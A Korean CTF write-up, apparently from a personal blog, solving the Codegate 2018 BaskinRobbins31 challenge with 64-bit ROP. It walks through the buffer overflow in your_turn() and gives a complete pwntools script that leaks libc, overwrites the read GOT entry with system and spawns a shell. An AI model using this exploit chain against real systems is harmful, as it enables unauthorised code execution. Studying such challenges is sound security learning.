ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [64비트 ROP] Codegate2018 Qual BaskinRobbins31 문제풀이(1일 1포너블 1일차 by Luke - 2019.4.18<목>)
    WeekHack/Pwnable 2019. 4. 19. 02:43
    반응형
    SMALL

    안녕하세요. Luke입니다. 1일 1 pwnable 1일차입니다. 60일을 목표로 시작하는데 첫 걸음을 띄었다는 것에 대해 놀랍네요.

     

    오늘 풀 문제는 Codegate2018 예선 문제였던 BaskinRobbins31를 풀어볼 예정입니다. 저번에 풀었던 Ropasaurusrex와는 비슷하고도 다르게 64비트 ROP를 사용하는 문제입니다.

     

    바이너리를 실행시키면

    위와 같이 1-3 사이의 숫자를 입력하라고 나오고, 알파벳을 이용하는 등 예상치 못한 경우의 경우 Don't break the rules...:(가 뜨면서 다시 입력하게 합니다. 또한, 정상적으로는 사용자가 이기지는 못하게 되어있는 것 같았습니다..(예전에 되나 안되나 노가다해봤습니다 ㅋㅋ)

     

    먼저 checksec으로 메모리보호기법을 확인해보겠습니다.

    NX가 걸려있고 Partial Relro.. 그리고 나머진 걸려있지 않네요. 누가봐도 전형적인 ROP문제.. ㅎㅎ 

     

    그럼 뭐 다른거 볼 거 없이 일단 IDA로 열어서 의사코드를 한번 보겠습니다.

    main()의 의사코드

    main함수의 의사코드입니다. your_turn()함수에서 왠지 저의 입력을 받는 부분이 있었을 것 같았습니다. 그래서 your_turn()의 함수를 열어 의사코드를 확인해보겠습니다.

     

    your_turn()의 의사코드

    your_turn 함수의 의사코드입니다. 간단히 핵심 기능을 해석해 보자면

    1. puts함수를 통해 How many numbers do you want to take ? (1-3) 를 출력해줍니다.

    2. n에 400(0x190)크기 만큼의 입력을 받아 s 버퍼에 176(0xB0)크기만큼 저장하고 n이라는 변수에 저장합니다.

    3. 입력받은 n을 write()로 출력합니다.

     

    왠지 그럼 read()함수를 이용해 bof가 발생할 것 같고 ROP를 이용해  익스플로잇 하면 될 것 같습니다. 간단한 익스플로잇 순서는 다음과 같습니다.

     

    1. read의 got주소를 leak한다.

    2. binsh를 bss에 넣는다.

    3. read함수에 system함수를 overwrite한다.

    4, system함수(read함수)를 실행시켜 bss의 binsh를 실행시킨다.

     

    그러기 위해서는 pr과 pppr 가젯을 구해줍니다.

    pr=0x00400bc3
    pppr=0x0040087a

     

    그럼 pwntools를 이용한 익스플로잇 코드를 짜보겠습니다.

     

    from pwn import *
    context.log_level = 'debug'
    
    c=process('./BaskinRobins31')
    e=ELF('./BaskinRobins31')
    libc=e.libc
    
    c.recvuntil('How many numbers do you want to take ? (1-3)')
    
    pr=0x00400bc3
    pppr=0x0040087a
    
    read_plt=e.plt['read']
    read_got=e.got['read']
    write_plt=e.plt['write']
    write_got=e.got['write']
    binsh='/bin/sh'
    bss=e.bss()
    lenbin=len(binsh)
    
    
    pay="A"*184
    
    #Leak read_got
    pay+=p64(pppr)
    pay+=p64(1)
    pay+=p64(read_got)
    pay+=p64(8)
    pay+=p64(write_plt)
    
    #binsh in bss
    pay+=p64(pppr)
    pay+=p64(0)
    pay+=p64(bss)
    pay+=p64(lenbin)
    pay+=p64(read_plt)
    
    #over system->read_got
    pay+=p64(pppr)
    pay+=p64(0)
    pay+=p64(read_got)
    pay+=p64(8)
    pay+=p64(read_plt)
    
    #execute system()
    pay+=p64(pr)
    pay+=p64(bss)
    pay+=p64(read_plt)
    
    lenpay=str(len(pay))
    log.success('lenpay: '+lenpay)
    c.sendline(pay)
    c.recvuntil("Don't break the rules...:( \n")
    
    leak=u64(c.recv(6)+"\x00\x00")
    log.success('leak: '+hex(leak))
    
    base=leak-libc.symbols['read']
    systemaddr=base+libc.symbols['system']
    log.success('system: '+hex(systemaddr))
    
    c.send(binsh)
    sleep(0.1)
    
    c.sendline(p64(systemaddr))
    sleep(0.1)
    
    c.interactive()
    

     

    이렇게 하면..

    성공적으로 쉘이 다진 것을 확인할 수 있습니다. 그럼 내일 뵈요~~

    내일은 이 Baskinrobbins31을 Full relro를 우회하면서도, 더 짧은 Payload를 가진 방법으로 문제를 다시 한번 풀어보도록 하겠습니다. 그럼 내일봐요~~

    반응형
    LIST

    댓글

Copyright ⓒ 2019, WeekHack